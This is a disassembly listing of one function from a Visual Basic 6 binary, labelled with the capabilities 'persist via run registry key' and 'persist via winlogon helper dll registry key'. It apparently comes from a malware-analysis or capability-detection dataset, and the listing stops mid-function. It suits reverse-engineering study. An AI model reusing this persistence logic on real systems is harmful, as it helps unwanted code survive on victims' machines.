Function at 0x421850
Capabilities:
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x402b36
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x4f0
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401398
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.004203d0
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 4
mov edx, 0x41b00c
mov ecx, 0x440064
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 4], 5
mov edx, 0x41b034
mov ecx, 0x440068
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 4], 6
mov edx, 0x41b054
mov ecx, 0x44006c
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 4], 7
mov edx, 0x41b078
mov ecx, 0x440070
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 4], 8
cmp dword [0x440054], 0
jne 0x42194c
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x23c], 0x440054
jmp 0x421956
mov dword [ebp - 0x23c], 0x440054
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x198]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x1c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4219b1
push 0x1c
push 0x41b0a4
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x240], eax
jmp 0x4219bb
mov dword [ebp - 0x240], 0
movsx edx, word [ebp - 0x198]
test edx, edx
je 0x4219ed
mov dword [ebp - 4], 9
mov eax, dword [0x44002c]
push eax
push 0x41b344
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
mov ecx, 0x440030
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
jmp 0x421a13
mov dword [ebp - 4], 0xb
mov ecx, dword [0x44002c]
push ecx
push 0x41b360
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
mov ecx, 0x440030
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov dword [ebp - 4], 0xd
mov edx, dword [0x440030]
push edx
push 0x41b37c
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
mov ecx, 0x440040
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov dword [ebp - 4], 0xe
cmp dword [0x440054], 0
jne 0x421a65
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x244], 0x440054
jmp 0x421a6f
mov dword [ebp - 0x244], 0x440054
mov eax, dword [ebp - 0x244]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
mov edx, dword [0x440030]
push edx
push 0x41b398
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 8
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x421ae3
push 0x24
push 0x41b0a4
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x248], eax
jmp 0x421aed
mov dword [ebp - 0x248], 0
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0xf
cmp dword [0x440058], 0
jne 0x421b22
push 0x440058
push 0x418280
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x24c], 0x440058
jmp 0x421b2c
mov dword [ebp - 0x24c], 0x440058
mov eax, dword [ebp - 0x24c]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
mov edx, dword [0x440030]
push edx
push 0x41b3c0
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 8
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x421ba0
push 0x24
push 0x41b3e8
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x250], eax
jmp 0x421baa
mov dword [ebp - 0x250], 0
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x10
cmp dword [0x440d40], 0
jne 0x421bdf
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x254], 0x440d40
jmp 0x421be9
mov dword [ebp - 0x254], 0x440d40
mov eax, dword [ebp - 0x254]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x421c41
push 0x14
push 0x41aed0
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x258], eax
jmp 0x421c4b
mov dword [ebp - 0x258], 0
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], edx
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b8]
push eax
call dword [edx + 0x50]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x421c9e
push 0x50
push 0x41aef0
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x25c], eax
jmp 0x421ca8
mov dword [ebp - 0x25c], 0
push 1
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharBstr]
mov edx, eax
lea ecx, [ebp - 0x4c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
cmp dword [0x440d40], 0
jne 0x421ce4
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x260], 0x440d40
jmp 0x421cee
mov dword [ebp - 0x260], 0x440d40
mov ecx, dword [ebp - 0x260]
mov edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
lea eax, [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x421d46
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x1c4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x264], eax
jmp 0x421d50
mov dword [ebp - 0x264], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1c8], eax
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x1c8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c8]
push ecx
call dword [eax + 0x50]
fnclex
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jge 0x421da3
push 0x50
push 0x41aef0
mov edx, dword [ebp - 0x1c8]
push edx
mov eax, dword [ebp - 0x1cc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x268], eax
jmp 0x421dad
mov dword [ebp - 0x268], 0
cmp dword [0x440d40], 0
jne 0x421dd2
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x26c], 0x440d40
jmp 0x421ddc
mov dword [ebp - 0x26c], 0x440d40
mov ecx, dword [ebp - 0x26c]
mov edx, dword [ecx]
mov dword [ebp - 0x1d0], edx
lea eax, [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x1d0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1d0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jge 0x421e34
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1d0]
push ecx
mov edx, dword [ebp - 0x1d4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x270], eax
jmp 0x421e3e
mov dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1d8], eax
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1d8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1d8]
push ecx
call dword [eax + 0x50]
fnclex
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jge 0x421e91
push 0x50
push 0x41aef0
mov edx, dword [ebp - 0x1d8]
push edx
mov eax, dword [ebp - 0x1dc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x274], eax
jmp 0x421e9b
mov dword [ebp - 0x274], 0
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
sub eax, 1
push eax
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcLeftCharBstr]
mov edx, eax
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
cmp dword [0x440d40], 0
jne 0x421ee3
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x278], 0x440d40
jmp 0x421eed
mov dword [ebp - 0x278], 0x440d40
mov eax, dword [ebp - 0x278]
mov ecx, dword [eax]
mov dword [ebp - 0x1e0], ecx
lea edx, [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1e0]
push edx
call dword [ecx + 0x14]
fnclex
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0
jge 0x421f45
push 0x14
push 0x41aed0
mov eax, dword [ebp - 0x1e0]
push eax
mov ecx, dword [ebp - 0x1e4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x27c], eax
jmp 0x421f4f
mov dword [ebp - 0x27c], 0
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x1e8], edx
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x1e8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1e8]
push eax
call dword [edx + 0x50]
fnclex
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
jge 0x421fa2
push 0x50
push 0x41aef0
mov ecx, dword [ebp - 0x1e8]
push ecx
mov edx, dword [ebp - 0x1ec]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x280], eax
jmp 0x421fac
mov dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x44], 0
mov ecx, dword [ebp - 0x218]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x84], 8
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 8
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x4c], 0
mov edx, dword [ebp - 0x220]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41b3fc
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
inc eax
neg eax
mov word [ebp - 0x15c], ax
mov dword [ebp - 0x164], 0xb
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x94]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcImmediateIf]
mov dword [ebp - 0x16c], 0x41b3fc
mov dword [ebp - 0x174], 8
cmp dword [0x440d40], 0
jne 0x42208a
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x284], 0x440d40
jmp 0x422094
mov dword [ebp - 0x284], 0x440d40
mov eax, dword [ebp - 0x284]
mov ecx, dword [eax]
mov dword [ebp - 0x1f0], ecx
lea edx, [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1f0]
push edx
call dword [ecx + 0x14]
fnclex
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
jge 0x4220ec
push 0x14
push 0x41aed0
mov eax, dword [ebp - 0x1f0]
push eax
mov ecx, dword [ebp - 0x1f4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x288], eax
jmp 0x4220f6
mov dword [ebp - 0x288], 0
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x1f8], edx
lea eax, [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x1f8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1f8]
push eax
call dword [edx + 0x58]
fnclex
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jge 0x422149
push 0x58
push 0x41aef0
mov ecx, dword [ebp - 0x1f8]
push ecx
mov edx, dword [ebp - 0x1fc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x28c], eax
jmp 0x422153
mov dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x48], 0
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb4], 8
lea edx, [ebp - 0x94]
push edx
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0xa4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xb4]
push edx
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x440044
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 6
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x1c
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x54]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObjList]
add esp, 0x18
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0xb4]
push ecx
lea edx, [ebp - 0xa4]
push edx
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0x164]
push eax
push 7
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x20
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0x74]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcCommandVar]
mov dword [ebp - 0x15c], 0x41b404
mov dword [ebp - 0x164], 0x8008
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstEq]
mov word [ebp - 0x1b0], ax
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
movsx ecx, word [ebp - 0x1b0]
test ecx, ecx
je 0x422b9f
mov dword [ebp - 4], 0x12
cmp dword [0x440d40], 0
jne 0x4222b9
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x290], 0x440d40
jmp 0x4222c3
mov dword [ebp - 0x290], 0x440d40
mov edx, dword [ebp - 0x290]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42231b
push 0x14
push 0x41aed0
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x294], eax
jmp 0x422325
mov dword [ebp - 0x294], 0
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], ecx
lea edx, [ebp - 0x198]
push edx
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b8]
push edx
call dword [ecx + 0x68]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x42237b
push 0x68
push 0x41aef0
mov eax, dword [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x298], eax
jmp 0x422385
mov dword [ebp - 0x298], 0
mov dx, word [ebp - 0x198]
mov word [ebp - 0x1c0], dx
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
movsx eax, word [ebp - 0x1c0]
test eax, eax
je 0x4223b9
mov dword [ebp - 4], 0x13
mov word [ebp - 0x28], 0xffff
jmp 0x4268bd
mov dword [ebp - 4], 0x16
cmp dword [0x440050], 0
jne 0x4223e5
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x29c], 0x440050
jmp 0x4223ef
mov dword [ebp - 0x29c], 0x440050
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x198]
push eax
mov ecx, dword [0x440068]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x68]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x422451
push 0x68
push 0x41a71c
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2a0], eax
jmp 0x42245b
mov dword [ebp - 0x2a0], 0
movsx ecx, word [ebp - 0x198]
test ecx, ecx
je 0x422ad3
mov dword [ebp - 4], 0x17
push 1
push 0
call fcn.0041ff00
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41a3f4
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaInStr]
xor edx, edx
test eax, eax
setg dl
neg edx
mov word [ebp - 0x1b0], dx
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x1b0]
test eax, eax
je 0x422685
mov dword [ebp - 4], 0x18
cmp dword [0x44005c], 0
jne 0x4224e7
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2a4], 0x44005c
jmp 0x4224f1
mov dword [ebp - 0x2a4], 0x44005c
mov ecx, dword [ebp - 0x2a4]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
mov eax, dword [0x440030]
push eax
mov ecx, dword [0x440068]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea edx, [ebp - 0x38]
push edx
push 0x440068
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x422570
push 0x20
push 0x41a4e0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2a8], eax
jmp 0x42257a
mov dword [ebp - 0x2a8], 0
cmp dword [0x44005c], 0
jne 0x42259f
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2ac], 0x44005c
jmp 0x4225a9
mov dword [ebp - 0x2ac], 0x44005c
mov eax, dword [ebp - 0x2ac]
mov ecx, dword [eax]
mov dword [ebp - 0x1b8], ecx
push 0x41b494
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b484
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b414
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0x1a0], 0x80000002
lea eax, [ebp - 0x198]
push eax
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x1a0]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + 0x1c]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x422657
push 0x1c
push 0x41a4e0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2b0], eax
jmp 0x422661
mov dword [ebp - 0x2b0], 0
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x18
jmp 0x42277e
mov dword [ebp - 4], 0x1a
cmp dword [0x44005c], 0
jne 0x4226b1
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2b4], 0x44005c
jmp 0x4226bb
mov dword [ebp - 0x2b4], 0x44005c
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
mov edx, 0x41b4b4
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b484
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b414
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0x1a0], 0x80000002
lea edx, [ebp - 0x198]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x1c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42275d
push 0x1c
push 0x41a4e0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2b8], eax
jmp 0x422767
mov dword [ebp - 0x2b8], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x1c
cmp dword [0x44005c], 0
jne 0x4227aa
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2bc], 0x44005c
jmp 0x4227b4
mov dword [ebp - 0x2bc], 0x44005c
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
mov edx, dword [0x440030]
push edx
mov eax, dword [0x440064]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x38]
push ecx
push 0x440064
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x422833
push 0x20
push 0x41a4e0
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2c0], eax
jmp 0x42283d
mov dword [ebp - 0x2c0], 0
cmp dword [0x44005c], 0
jne 0x422862
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2c4], 0x44005c
jmp 0x42286c
mov dword [ebp - 0x2c4], 0x44005c
mov edx, dword [ebp - 0x2c4]
mov eax, dword [edx]
mov dword [ebp - 0x1b8], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x38], 0
mov edx, dword [ebp - 0x228]
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b4e8
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0x1a0], 0x80000002
lea edx, [ebp - 0x198]
push edx
lea eax, [ebp - 0x40]
push eax
push 0x440064
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x1a0]
push edx
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b8]
push edx
call dword [ecx + 0x1c]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x422912
push 0x1c
push 0x41a4e0
mov eax, dword [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2c8], eax
jmp 0x42291c
mov dword [ebp - 0x2c8], 0
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x1d
cmp dword [0x44005c], 0
jne 0x42295f
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2cc], 0x44005c
jmp 0x422969
mov dword [ebp - 0x2cc], 0x44005c
mov edx, dword [ebp - 0x2cc]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [0x440030]
push ecx
mov edx, dword [0x440064]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
